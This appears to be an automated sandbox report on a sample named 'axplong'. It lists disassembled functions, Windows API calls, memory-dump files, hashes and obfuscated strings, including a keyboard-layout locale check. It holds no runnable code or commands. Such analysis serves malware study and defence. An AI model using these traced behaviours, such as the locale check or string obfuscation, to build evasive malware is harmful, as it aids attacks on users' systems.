", xrefs: 009D3E69
Gl==, xrefs: 009D366E, 009D4CFD
a9P=, xrefs: 009D6353
WMNZ, xrefs: 009D534A
NvF+, xrefs: 009D478D, 009D48BC, 009D4AAC, 009D4BDB
9LFZ, xrefs: 009D54D2
LrTsKE==, xrefs: 009D5489
Inhk, xrefs: 009D375F
bLTZ, xrefs: 009D539C
bcBZ, xrefs: 009D54AB
NvB+, xrefs: 009CE704, 009D4746, 009D47BD, 009D4A65, 009D4ADC
aRFZ, xrefs: 009D5467
avBZ, xrefs: 009D53C5
5120, xrefs: 009D3A8F, 009D3B7A
WMxZ, xrefs: 009D53EE
XM7e, xrefs: 009D3ABE
aSF2aA==, xrefs: 009D46E2
R2Z, xrefs: 009D52ED
stoi argument out of range, xrefs: 009D2DD2, 009D2DF0, 009D4239, 009D4E7C

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: R2Z$ SBZ$ wNZ$"$246122658369$5120$9LFZ$Gl==$Inhk$LrTsKE==$NvB+$NvF+$WMNZ$WMxZ$WRQd$Wb Z$XM7e$XvPZ$Xvml$a9P=$aRFZ$aSF2aA==$avBZ$bLTZ$bcBZ$e76b71$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-736024444
Opcode ID: 547fc798f89aae976280290cbd21d785547a1f3da9bc743e7f6631773ce31214
Instruction ID: d94e3faee9411ade59644270f67da15ae2f9adbbf1ac14e26f282f4029eeafb0
Opcode Fuzzy Hash: 547fc798f89aae976280290cbd21d785547a1f3da9bc743e7f6631773ce31214
Instruction Fuzzy Hash: F852F471A002489BDF18EFB8CD8A79DBB75AF85304F90C19DE444A7382D7759A84CF92

Function 009C5DD0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 009C5F44
00000422, xrefs: 009C5FB9
00000419, xrefs: 009C5F88
0000043f, xrefs: 009C601B
00000423, xrefs: 009C5FEA

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 42c582a22785019812d18712d9f41d17e1bf9a148630192bdbd5c4b497c41df9
Instruction ID: e3f172171c0ef6049848dec658aa24fcf27e196148d351cde8f203c3c838d7dc
Opcode Fuzzy Hash: 42c582a22785019812d18712d9f41d17e1bf9a148630192bdbd5c4b497c41df9
Instruction Fuzzy Hash: 8EE1AD71900258ABEB29DBA4CC8DBDEB779EB04304F5042D9E508A7291DB74AFC4CF52

Function 009C7CE0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 009C7E83

Strings

K9prKk==, xrefs: 009C80EA
K9pqLk==, xrefs: 009C8192
K9pqMU==, xrefs: 009C8042

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: K9pqLk==$K9pqMU==$K9prKk==
API String ID: 1721193555-747669196
Opcode ID: 9cbf075f9c17afc24967ca38ff844970ffd1599928eb19a60dcaee87f865bbf0
Instruction ID: e45a63a354377df7dad85a93597768d26c20db605193b93c05a56950634922a8
Opcode Fuzzy Hash: 9cbf075f9c17afc24967ca38ff844970ffd1599928eb19a60dcaee87f865bbf0
Instruction Fuzzy Hash: DFD12C71E40654ABDB14FB68DD4ABAEBB71AB82310F9042DCE415673C2DB745E818BC3

Function 009F6DE1 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 009F6E03
GetFileInformationByHandle.KERNEL32(?,?), ref: 009F6E5D
__dosmaperr.LIBCMT ref: 009F6EF2

Part of subcall function 009F7157: __dosmaperr.LIBCMT ref: 009F718C

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 0138e01a1888266fbfca459b080ef4c02a3d3a86cf6726108eac3887b3186271
Instruction ID: 9e93f68979ba8bef4eb3dac3a696415ed470e2975fed547982dfefa2923da566
Opcode Fuzzy Hash: 0138e01a1888266fbfca459b080ef4c02a3d3a86cf6726108eac3887b3186271
Instruction Fuzzy Hash: DA414B76900748ABDB24DFA5D845ABBB7F9EF89300B10482DF656D3610EB30A855CB20

Function 009F6C79 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deeeb6e7a1beaa5f57f082740de0d878b0d44b9865f01cc6208beb7600763702
Instruction ID: d23f5977470ce66ec8500931c64285a4eaba87eff6c6cf43234fdde8bb02f5bc
Opcode Fuzzy Hash: deeeb6e7a1beaa5f57f082740de0d878b0d44b9865f01cc6208beb7600763702
Instruction Fuzzy Hash: 2521B672A0520C6AEB117BA4AC42BBE776D9F81378F200354FB646B1E1DB709D0597A1

Function 009FB4F5 Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,009F69A7,?), ref: 009FB4FD
__dosmaperr.LIBCMT ref: 009FB50E

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: DeleteFile__dosmaperr
String ID:
API String ID: 1911827773-0
Opcode ID: 9237ddba790679c931f6b04a756bc6ee0d40e31e4ed1496891922eceb43bf352
Instruction ID: a22110eb7cf2905e4cefdc1421b0087b1e3ba9bb8b1c2ab744e2d1e77bd4d841
Opcode Fuzzy Hash: 9237ddba790679c931f6b04a756bc6ee0d40e31e4ed1496891922eceb43bf352
Instruction Fuzzy Hash: EFD0123229910C36AE1435F5AC0982A77CD4A827787241621B93C855E0EE66D8515591

Function 009C8290 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 009C8434

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f49d18a0ffed18f4c7a13286259f386d4d698a55ccfbda1c1d6071b3feb7608b
Instruction ID: d9cc7c1cf5fdb5df2e9c843815296e5c4969c1a96326d4f2e1240250f4fb5c3c
Opcode Fuzzy Hash: f49d18a0ffed18f4c7a13286259f386d4d698a55ccfbda1c1d6071b3feb7608b
Instruction Fuzzy Hash: 07513970D042599BDB18EB68DD49BEEB775EB85300F9042ADE804A73D1EF345E808B92

Function 009F6F51 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 009F6F93

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: c25a7264b54201049d8996e1aca8084cf0f715a0d142157b43bb62d5b5b6981d
Instruction ID: f8f8f54cd2c9e47cffafe97708618077ac5dcc52734ca998d2405c29d2ea9af2
Opcode Fuzzy Hash: c25a7264b54201049d8996e1aca8084cf0f715a0d142157b43bb62d5b5b6981d
Instruction Fuzzy Hash: D511F1B290020DABDB10DE95D944EEF77FCAF48310F505266E611E6190E734EF49CB61

Function 009FAEEB Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,8CEBFFE3,?,?,009DD302,8CEBFFE3,?,009D78CB,?,?,?,?,?,?,009C7415,?), ref: 009FAF1D

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 25545364ce2cf3dffbda131e05c25a860290f11041d47bd4e8a9aa6d007d2f06
Instruction ID: 5e7f9c669916328e3fe18a436fc8cf16737b628c48a3064b94afc96876f25110
Opcode Fuzzy Hash: 25545364ce2cf3dffbda131e05c25a860290f11041d47bd4e8a9aa6d007d2f06
Instruction Fuzzy Hash: 79E092FA10A22E6AEB3122656C41B7B76CD9F927B0F650120AF4D9F1D0DA65DC0187F3

Function 053A0D4F Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af3743400e3d3301695cdeea35cadca3aab5808a0bfb64f703c9ff79dc5c7930
Instruction ID: eca6119afdac1137afc986b312135f15fb41909a497c9c9918b1c06deace7943
Opcode Fuzzy Hash: af3743400e3d3301695cdeea35cadca3aab5808a0bfb64f703c9ff79dc5c7930
Instruction Fuzzy Hash: 772106EB15C560BD7146C0866F68EFBA76EE1CA730330896BF807C6A02D2980E4D2132

Function 053A0D75 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d2cc7d10451598db696fb7e3bc77b1c5d1fc7400eaab496ea15bd038cd80bb
Instruction ID: 51d70dbfb328c23da79578f95a1e1419e721be3b6caa848873f5a4a8b179549d
Opcode Fuzzy Hash: e1d2cc7d10451598db696fb7e3bc77b1c5d1fc7400eaab496ea15bd038cd80bb
Instruction Fuzzy Hash: E3217FFB14C250BEB246C5956B68EFB67AEE5CA730330896BF407C6902D2940E4D6131

Function 053A0D68 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff403a899e65805ebd8950ee2c1dcaa2bce1fd317df35162ee8715f45cfd0cd
Instruction ID: 6de424e69dbc561f63df7aacc93fe2c2b5aab32d390c1293bd3fa7c9d22a3333
Opcode Fuzzy Hash: 2ff403a899e65805ebd8950ee2c1dcaa2bce1fd317df35162ee8715f45cfd0cd
Instruction Fuzzy Hash: E91119FB15D561BD7146C0866B68EFB676FE5CA730330896BF807C6E02D2980E4E2132

Function 053A0E3A Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 996bb8008badb664bc2fec2ca2ba6253b470bd52757488179ae75b1fce249b42
Instruction ID: 28c30cc90d1c5552cdbf8d214499477e8dd33e32c58361e60af655089aa837a3
Opcode Fuzzy Hash: 996bb8008badb664bc2fec2ca2ba6253b470bd52757488179ae75b1fce249b42
Instruction Fuzzy Hash: D6015EE715D651AC7106D0823B58EF7676FD5CA730330851BF407C6E03D2940A4D6171

Function 053A0DF2 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1ef7c7fee2eb2211868e63177ea81eecbe45ca6e576447cae339730882528b3
Instruction ID: 68c6027e52fe7449be082e93a4ce26440e4543cb1e9f517be2bbd4483687b258
Opcode Fuzzy Hash: f1ef7c7fee2eb2211868e63177ea81eecbe45ca6e576447cae339730882528b3
Instruction Fuzzy Hash: 621104F714E650AEB206C0813A68DFB6B6EE5DB230334899BF442C7A03D1980A496232

Function 053A0D9E Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d0a255cd9f686c15c7b0e555f20855093a6a436d70b211b093a27d85238b31
Instruction ID: 470bce137b924f023ee79a90fbee8651e9f4e5bb71b0abbbecb300da22aeb776
Opcode Fuzzy Hash: a6d0a255cd9f686c15c7b0e555f20855093a6a436d70b211b093a27d85238b31
Instruction Fuzzy Hash: A7018BF705D661AC7249C0822B68EFB675FE1CA7303308A2BF407C7E03C2A40E892131

Function 053A0E63 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 639a82f013de7509fb127af3590f3fb97a2d518e9b2a9fc772515c5d3a4a144c
Instruction ID: 2be0e8d508f6f025e854833b50b9c2da8b7fa57c9aa010a4ad861fdebe044115
Opcode Fuzzy Hash: 639a82f013de7509fb127af3590f3fb97a2d518e9b2a9fc772515c5d3a4a144c
Instruction Fuzzy Hash: B0F024A306CA61AD614EE091269CEFB6A5FE19F3303304A57F047CBE03C5540A9A7175

Function 053A0E1E Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 168a63984d4eb5775b2bd6fa65e52da7b8aa0820365c480eeeb7e266843be688
Instruction ID: 547ff72c641cfaac4e85f828f38ea3f398d63ddfcb4d372c387d7a82a123185e
Opcode Fuzzy Hash: 168a63984d4eb5775b2bd6fa65e52da7b8aa0820365c480eeeb7e266843be688
Instruction Fuzzy Hash: FFF0B4A709C511ACA24AD0852B5CEF65B4FE29B3313304657F047D7E4395950A992131

Function 053A0E4E Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4506657833.00000000053A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d96cf6494b4efd10b1cc557fd1a0de9f0103b2b0a5209a348a0e5ee04771ab
Instruction ID: 2a1963ea47756e12ef4fbf9e0c2a5d5114e533a0dd42374facc5f53fff94c4b2
Opcode Fuzzy Hash: 64d96cf6494b4efd10b1cc557fd1a0de9f0103b2b0a5209a348a0e5ee04771ab
Instruction Fuzzy Hash: 42E020A709CA14AD014BF085135CEFB694FE69F23133043577403D3F0345980A993222

Non-executed Functions

Function 00A03048 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00A031C3

Strings

1#INF, xrefs: 00A0437E
1#QNAN, xrefs: 00A04361
1#IND, xrefs: 00A04353
1#SNAN, xrefs: 00A0435A

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
